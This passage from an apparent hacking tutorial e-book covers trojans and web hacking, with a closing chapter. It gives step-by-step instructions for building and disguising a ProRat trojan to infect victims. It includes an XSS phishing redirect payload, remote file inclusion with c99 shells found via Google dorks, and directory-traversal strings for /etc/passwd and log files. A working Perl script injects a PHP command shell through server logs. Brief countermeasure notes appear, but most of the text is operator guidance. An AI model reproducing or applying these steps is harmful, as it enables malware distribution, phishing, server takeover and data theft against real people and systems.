"text": "95 \n \n6. Blended Threats – Blended threats combine all of the characteristics of \nthe above and use them along with system vulnerabilities to spread and \ninfect machines. \n \n \nProRat \n \nTo show you an example of a malicious program, I will use a well known \nWindows Trojan, ProRat. \n1. Download ProRat. Once it is downloaded right click on the folder and \nchoose to extract it. A password prompt will come up. The password will be \n“pro”. \n2. Open up the program. You should see the following: \n \n \n \n \n \n"
},
{
"page_number": 96,
"text": "96 \n \n3. Next we will create the actual Trojan file. Click on Create and choose Create \nProRat Server. \n \n \n4. Next put in your IP address so the server could connect to you. If you don’t \nknow your IP address click on the little arrow to have it filled in for you \nautomatically. Next put in your e-mail so that when and if a victim gets \ninfected it will send you a message. We will not be using the rest of the \noptions. \n \n \n \n \n \n \n \n"
},
{
"page_number": 97,
"text": "97 \n \n5. Click on the General Settings button to continue. Here we will choose the \nserver port the program will connect through, the password you will be \nasked to enter when the victim is infected and you wish to connect with \nthem, and the victim name. As you can see ProRat has the ability to disable \nthe windows firewall and hide itself from being displayed in the task \nmanager. \n \n \n \n6. Click on the Bind with File button to continue. Here you will have the \noption to bind the trojan server file with another file. Remember a trojan \ncan only be executed if a human runs it. So by binding it with a legitimate \nfile like a text document or a game, the chances of someone clicking it go \nup. Check the bind option and select a file to bind it to. In the example I \nwill use an ordinary text document. \n"
},
{
"page_number": 98,
"text": "98 \n \n \n \n \n \n7. Click on the Server Extensions button to continue. Here you choose what \nkind of server file to generate. I will stick with the default because it has \nicon support, but exe’s looks suspicious so it would be smart to change it. \n"
},
{
"page_number": 99,
"text": "99 \n \n \n8. Click on Server Icon to continue. Here you will choose an icon for your \nserver file to have. The icons help mask what the file actually is. For my \nexample I will choose the regular text document icon since my file is a text \ndocument. \n \n"
},
{
"page_number": 100,
"text": "100 \n \n9. Finally click on Create Server to, you guessed it, create the server file. \nBelow is what my server file looks like. \n \n10. A hacker would probably rename it to something like “Funny Joke” and \nsend it as an attachment to some people. A hacker could also put it up as a \ntorrent pretending it is something else, like the latest game that just came \nout so he could get people to download it. \n11. Now, I will show you what happens when a victim installs the server onto \nhis computer and what the hacker could do next. \n12. I’m going to run the server on my own computer to show you what would \nhappen. Once I run it the trojan will be installed onto my computer in the \nbackground. The hacker would then get a message telling him that I was \ninfected. He would then connect to my computer by typing in my IP \naddress, port and clicking Connect. He will be asked for the password that \nhe made when he created the server. Once he types it in, he will be \nconnected to my computer and have full control over it. \n \n \n"
},
{
"page_number": 101,
"text": "101 \n \n13. Now the hacker has a lot of options to choose from as you can see on the \nright. He has access to all my computer files, he can shut down my pc, get \nall the saved passwords off my computer, send a message to my computer, \nformat my whole hard drive, take a screen shot of my computer, and so \nmuch more. Below I’ll show you a few examples. \n \n14. The image below shows the message I would get on my screen if the \nhacker chose to message me. \n \n"
},
{
"page_number": 102,
"text": "102 \n \n15. Below is an image of my task bar after the hacker clicks on Hide Start \nButton. \n \n \n \n16. Below is an image of what the hacker would see if he chose to take a \nscreen shot of the victims screen. \n \n \n \n \n \n \n"
},
{
"page_number": 103,
"text": "103 \n \n \nAs you saw in the above example, a hacker can do a lot of silly things or a \nlot of damage to the victim. ProRat is a very well known trojan so if the victim has \nan anti-virus program installed he most likely won’t get infected. Many skilled \nhackers can program their own viruses and Trojans that can easily bypass anti-\nvirus programs. \n \nCountermeasures \nThere are a couple things you can do to prevent yourself from being infected \nby the malware discussed in this chapter. \n1. Make sure you have good and up-to-date anti-virus software installed on \nyour computer. Also if there is an automatic update option on your anti-\nvirus software, make sure it is enabled. \n2. Make sure you have a firewall installed on your computer and make sure \nthat it is actually enabled. Firewalls protect against unauthorized inbound \nand outbound connections. \n \n \n \n \n \n \n \n \n \n \n \n \n \n"
},
{
"page_number": 104,
"text": "104 \n \n \n \n \n \n \n \n \n \nChapter Nine \nWeb Hacking \n \n \n \n \n \n \n \n \n \n"
},
{
"page_number": 105,
"text": "105 \n \n \nWith the Web 2.0 era upon us, most websites are dynamic and allow the \nusers to interact with the content. Many of the web applications that run these \ndynamic websites have security flaws. In this chapter, we will discuss some of the \nmost popular forms of attacks against web applications. \n \nCross Site Scripting \n \nCross site scripting (XSS) occurs when a user inputs malicious data into a \nwebsite, which causes the application to do something it wasn’t intended to do. \nXSS attacks are very popular and some of the biggest websites have been affected \nby them including the FBI, CNN, Ebay, Apple, Microsft, and AOL. Some website \nfeatures commonly vulnerable to XSS attacks are: \n• Search Engines \n• Login Forms \n• Comment Fields \nThere are three types of XSS attacks: \n1. Local – Local XSS attacks are by far the rarest and the hardest to pull off. \nThis attack requires an exploit for a browser vulnerability. With this type of \nattack, the hacker can install worms, spambots, and backdoors onto your \ncomputer. \n2. Non-Persistent – Non-persistent attacks are the most common types of \nattack and don’t harm the actual website. Non-persistent attacks occur \nwhen (- a scripting language that is used for client-side web development.) or HTML \nis inserted into a variable which causes the output that the user sees to be \nchanged. Non-persistent attacks are only activated when the user visits the \nURL crafted by the attacker. \n3. Persistent – Persistent attacks are usually used against web applications like \nguest books, forums, and shout boxes. Some of the things a hacker can do \nwith a persistent attacks are: \n• Steal website cookies (Cookies are used by web browsers to store your user \ninformation so that you can stay logged into a website even after you leave. By \nstealing your cookie, the attacker can sometimes login without knowing your \npassword.) \n• Deface the website \n• Spread Worms \n"
},
{
"page_number": 106,
"text": "106 \n \nNow that you know what cross site scripting is, how can you tell if a website if \nvulnerable to it? \n1. If there is a search field, enter a word and if that word is displayed back to \nyou on the next page, there’s a chance it is vulnerable. \n2. Now we will insert some HTML. Search for <h1>hi</h1>, and if the word \n“hi” is outputted as a big header, it is vulnerable. \n \n3. Now we will insert JavaScript. Search for <script>alert(“hi”);</script> , if \nthe word “hi” pops up in a popup box, then the site is vulnerable to XSS. \n \n \n4. As you can see, these examples are non-persistent. Now if a hacker found a \nguestbook or something else like it that was vulnerable, he would be able \nto make it persistent and everyone that visits the page would get the above \nalert if that was part of his comment. \n \nHackers knowledgeable in JavaScript and PHP will be able to craft advanced \nXSS attacks to steal your cookies and spread XSS worms, but to show you a simple \nexample of something more realistic then the above examples, I will show you \nhow a hacker could use XSS to help with phishing. \n1. Let’s say a hacker wants to phish passwords from www.victim-site.com. If \nhe was able to find an XSS vulnerability anywhere on the website, he would \nbe able to craft a link pointing to the legit website that redirects to his \nphishing website. \n"
},
{
"page_number": 107,
"text": "107 \n \n2. In the example with the popup, when I inserted the JavaScript into the \nsearch box, a URL was formed that looked like the following: \n \nHere you can see that the code you typed into the search box was passed \nto the “searchbox” variable. \n3. In the URL the hacker would then replace everything in between \n?searchbox= and &search with the following JavaScript code: \n<script>window.location = “http://phishing-site.com”</script> \n \n4. Now when you go to the finished link, the legitimate site will redirect to the \nphishing website. Next what the hacker would do is encode the URL to \nmake it look more legit and less suspicious. You can encode the URL at \nhttp://www.encodeurl.com/. \n5. My finished encoded URL is: \nhttp%3A%2F%2Flocalhost%2Fform.php%3Fsearchbox%3D%3Cscript%3Ewindow.locati\non+%3D+%5C%22http%3A%2F%2Fphishing-\nsite.com%5C%22%3C%2Fscript%3E%26search%3Dsearch%21 \n6. Once the victim sees that the link points to the legitimate website, he will \nbe more likely to fall for the phishing attack. \n \nRemote File Inclusion \nRemote File Inclusion (RFI) occurs when a remote file, usually a shell \n(a graphical interface for browsing remote files and running your own code \non a server), is included into a website which allows the hacker to execute \nserver side commands as the current logged on user, and have access to \nfiles on the server. With this power the hacker can continue on to use local \nexploits to escalate his privileges and take over the whole system. \n \nMany servers are vulnerable to this kind of attack because of PHP’s \ndefault settings of register_globals and allow_url_fopen being enabled. \nAlthough as of PHP 6.0, register_globals has been depreciated and \nremoved, many websites still rely on older versions of PHP to run their web \n"
},
{
"page_number": 108,
"text": "108 \n \napplications. Now let’s go through the steps a hacker would take to exploit \nthis type of vulnerability in a website. \n \n1. First the hacker would find a website that gets its pages via the \nPHP include() function and is vulnerable to RFI. Many hackers use \nGoogle dorks to locate servers vulnerable to RFI. A Google dork is \nthe act of using Google’s provided search tools to help get a \nspecific search result. \n2. Website that include pages have a navigation system similar to: \n http://target-site.com/index.php?page=PageName \n3. To see if a the page is vulnerable, the hacker would try to include \na site instead of PageName like the following: \nhttp://target-site.com/index.php?page=http://google.com \n4. If the Google homepage shows up on the website, then the \nhacker knows the website is vulnerable and would continue to \ninclude a shell. \n5. A couple of the most popular shells are c99 and r57. A hacker \nwould either upload them to a remote server or just use a Google \ndork to locate them already online and insert them. To find the a \nshell the hacker would search Google for: inurl:c99.txt. This will \ndisplay many websites with the shell already up and ready to be \nincluded. At the end of the URL make sure to add a ? so that if \nanything comes after c99.txt, it will be passed to the shell and not \ncause any problems. The new URL with the shell included would \nlook like: \n \nhttp://target-site.com/index.php?page=http://site.com/c99.txt? \n \n6. Sometimes the PHP script on the server appends “.php” to the \nend of every included file. So if you included the shell, it would \nend up looking like “c99.txt.php” and not work. To get around \nthis, you would add a null byte (%00) to the end of c99.txt. This \ntells the server to ignore everything after c99.txt. \n7. In step one, I told you that hackers use Google dorks to look for \nsites possibly vulnerable to RFIs. An example of a Google dork \n"
},
{
"page_number": 109,
"text": "109 \n \nwould be: allinurl:.php?page=. This looks for URL’s with \n.php?page= in them. This is only an example and you most likely \nwon’t find any vulnerable sites with that search. You can try \nswitching around the word “page” with other letters and similar \nwords. Hackers usually search vulnerability databases like \nwww.milw0rm.com for already discovered RFI vulnerabilities in \nsite content management systems and search for websites that \nare running that vulnerable web application with a Google dork. \n \n8. If the hacker succeeds in getting the server to parse the shell, he \nwill be presented with a screen similar to the following: \n \n \nThe shell will display information about the remote server and list all \nthe files and directories on it. From here the hacker would find a \ndirectory that has read and write privileges and upload the shell but \n"
},
{
"page_number": 110,
"text": "110 \n \nthis time as a .php file so that incase the vulnerability is fixed, he will \nbe able to access it later on. \n9. The hacker would next find a way to gain root privileges on the \nsystem. He can do this by uploading and running local exploits \nagainst the server. He could also search the victim server for \nconfiguration files. These files may contain username and \npasswords for the MYSQL databases and such. \nTo protect yourself from RFI attacks, simply make sure you are using up-to-date \nscripts, and make sure you server php.ini file has register_globals and \nallow_url_fopen disabled. \n \nLocal File Inclusion \n \nLocal File Inclusion (LFI) is when you have the ability to browse through the \nserver by means of directory transversal. One of the most common uses of LFI is \nto discover the /etc/passwd file. This file contains the user information of a Linux \nsystem. Hackers find sites vulnerable to LFI the same way I discussed for RFI’s. \nLet’s say a hacker found a vulnerable site, www.target-\nsite.com/index.php?p=about, by means of directory transversal he would try to \nbrowse to the /etc/passwd file: \nwww.target-site.com/index.php?p= ../../../../../../../etc/passwd \nThe ../ you up one directory and the amount to use depends where in the server \nyou are located compared the location of the /etc/passwd file. \nIf the hacker is able to successfully get to the /etc/passwd file he would see a list \nsimilar to the one below. \nRoot:x:0:0::/root:/bin/bash \nbin:x:1:1:bin:/bin:/bin/false \ndaemon:x:2:2:daemon:/sbin:/bin/false \nadm:x:3:4:adm:/var/log:/bin/false \nlp:x:4:7:lp:/var/spool/lpd:/bin/false \nsync:x:5:0:sync:/sbin:/bin/sync \n"
},
{
"page_number": 111,
"text": "111 \n \nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown \nhalt:x:7:0:halt:/sbin:/sbin/halt \nEach line is divided into seven parts: \nusername:passwd:UserID:GroupID:full_name:directory:shell \nIf the password hash was shown, the hacker would be able to crack it and get \naccess to the machine, but in our case the password isn’t shown. This means \nthat the password is shadowed and in the /etc/shadow file which the hacker \ndoesn’t have access to. If this was the case, the hacker would probably \nattempt to get access to the system another way, through log injection. \nThe log directories are located in different areas in different Linux \ndistributions. Below is a list of the most common locations. \n../apache/logs/error.log \n../apache/logs/access.log \n../../apache/logs/error.log \n../../apache/logs/access.log \n../../../apache/logs/error.log \n../../../apache/logs/access.log \n../../../../../../../etc/httpd/logs/acces_log \n../../../../../../../etc/httpd/logs/acces.log \n../../../../../../../etc/httpd/logs/error_log \n../../../../../../../etc/httpd/logs/error.log \n../../../../../../../var/www/logs/access_log \n../../../../../../../var/www/logs/access.log \n../../../../../../../usr/local/apache/logs/access_log \n../../../../../../../usr/local/apache/logs/access.log \n../../../../../../../var/log/apache/access_log \n../../../../../../../var/log/apache2/access_log \n../../../../../../../var/log/apache/access.log \n../../../../../../../var/log/apache2/access.log \n../../../../../../../var/log/access_log \n../../../../../../../var/log/access.log \n../../../../../../../var/www/logs/error_log \n../../../../../../../var/www/logs/error.log \n../../../../../../../usr/local/apache/logs/error_log \n../../../../../../../usr/local/apache/logs/error.log \n../../../../../../../var/log/apache/error_log \n../../../../../../../var/log/apache2/error_log \n"
},
{
"page_number": 112,
"text": "112 \n \n../../../../../../../var/log/apache2/error.log \n../../../../../../../var/log/error_log \n../../../../../../../var/log/error.log \nBelow are the steps a hacker would take to take gain access to the system \nthrough log injection. \n1. First the hacker would find what operating system version the target server \nis running and then search where the log files are located on that OS. \n2. Next, through LFI the hacker would navigate to that file location. If he is \ndisplayed with a bunch of logs, then he may continue. \n3. The hacker would then inject some PHP code into the logs by typing \n<? Passthru($_GET[‘cmd’]) ?> after = in the URL. This will cause the PHP \nscript to be logged because there is no file by that name. What this script \nwill do is give the hacker shell access and allow him to execute system \ncommands. \n4. Now if the hacker goes back to the log file, he will see that his PHP script \nwasn’t parsed and instead converted to \n%3C?%20passthru($_GET[cmd])%20?%3E \n5. When you submitted the script, the browser automatically encoded the \nURL. Luckily there is a pearl script that can get around this problem. Below \nis the pearl script, edit the variables: $site, $path, $code, and $log to the \nappropriate information. \n \n#!/usr/bin/perl -w \nuse IO::Socket; \nuse LWP::UserAgent; \n$site=”www.vulnerablesite.com”; \n$path=”/”; \n$code=”<? Passthru(\\$_GET[cmd]) ?>”; \n$log = “../../../../../../../etc/httpd/logs/error_log”; \nprint “Trying to inject the code”; \n$socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or die \n“\\nConnection Failed.\\n\\n”; \nprint $socket “GET “.$path.$code.” HTTP/1.1\\r\\n”; \nprint $socket “User-Agent: “.$code.”\\r\\n”; \nprint $socket “Host: “.$site.”\\r\\n”; \nprint $socket “Connection: close\\r\\n\\r\\n”; \nclose($socket); \nprint “\\nCode $code successfully injected in $log \\n”; \nprint “\\nType command to run or exit to end: “; \n$cmd = <STDIN>; \nwhile($cmd !~ “exit”) { \n$socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or die \n“\\nConnection Failed.\\n\\n”; \nprint $socket “GET “.$path.”index.php?filename=”.$log.”&cmd=$cmd HTTP/1.1\\r\\n”; \nprint $socket “Host: “.$site.”\\r\\n”; \nprint $socket “Accept: */*\\r\\n”; \nprint $socket “Connection: close\\r\\n\\n”; \nwhile ($show = <$socket>) \n{ \nprint $show; \n} \nprint “Type command to run or exit to end: “; \n"
},
{
"page_number": 113,
"text": "113 \n \n$cmd = <STDIN>; \n} \n \n6. Once the hacker runs this script and it goes successfully, he will be able to \nrun any command on the server. From here he can run any local exploits to \ngain root, or just browse the server files. \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n"
},
{
"page_number": 114,
"text": "114 \n \n \n \n \n \n \n \n \n \n \n \n \n \nChapter Ten \n Conclusion \n \n \n \n \n \n \n \n \n \n \n \n"
},
{
"page_number": 115,
"text": "115 \n \n \nCongratulations! \nYou’ve made it through the whole course! With this course, you have been \nintroduced to many categories in the vast subject of hacking. By now you should \nbe craving for more knowledge! So, what now? \n \nKeep Learning! \n \nThat’s right! Keep learning! Choose your favorite topic in this e-book and \nbegin to learn more about it. Eventually when you master it, continue to another. \nOne of the biggest mistakes I notice with new and intermediate ethical hackers is \nthat they want to know everything at once. They go out and jump from topic to \ntopic. Time passes by and they still don’t know enough about anything. I know, I \nwent through this phase as well. Trust me. \nOne of the best ways to learn is to purchase books on your topic, subscribe to \nrelated blogs, and join ethical hacking communities. Below is a list I put together \nof some of the best hacking related websites on the internet. \n• HackThisSite - Great site for continued learning in web hacking. \n• HellBound Hackers - Another mainly web hacking related website. \n• Astalavista - Astalavista is a community full of security professionals ready \nto help you. It also has a large database of security papers and tools. \n• DarkMindz - A large hacking related community that constantly provides \ninformative information on the forum, security papers, and source code. \n• Black-Hat Forums - A great hacking related forum full of many \nknowledgeable members. \nSince hacking and programming go together like peanut butter and jelly, below I \nhave a list of a few great programming forums. \n• </dream.in.code> \n• Programming Forums \n• Go4Expert \n• CodeCall \n"
},
{
"page_number": 116,
"text": "116 \n \n \nwww.MrCracker.com \n \nMrCracker.com is my security/hacking blog. I have just launched it and will \nbe constantly updating it. Come on down and subscribe to my soon to be \nlaunched newsletter! It will be full of hacking related news and exclusive content. \nThe subscribe box is on the right column of my website. Hurry before it’s too late! \n \nSuggestions \nI would love to hear your honest opinion about this course. What did you \nthink of it? What did you like? What didn’t you like? What would you like to see in \nfuture versions? What are you interested in? Please visit the following URL to \nparticipate in this quick informative survey: \n Click here for survey. \n \nThat’s all folks! I hope that this course has been a great learning experience for \nyou. If you have any questions please feel free to e-mail me at: \ninfo@MrCracker.com \n \nCheers! \nDavid Melnichuk \n \n \n \n \n \n"
}
]
}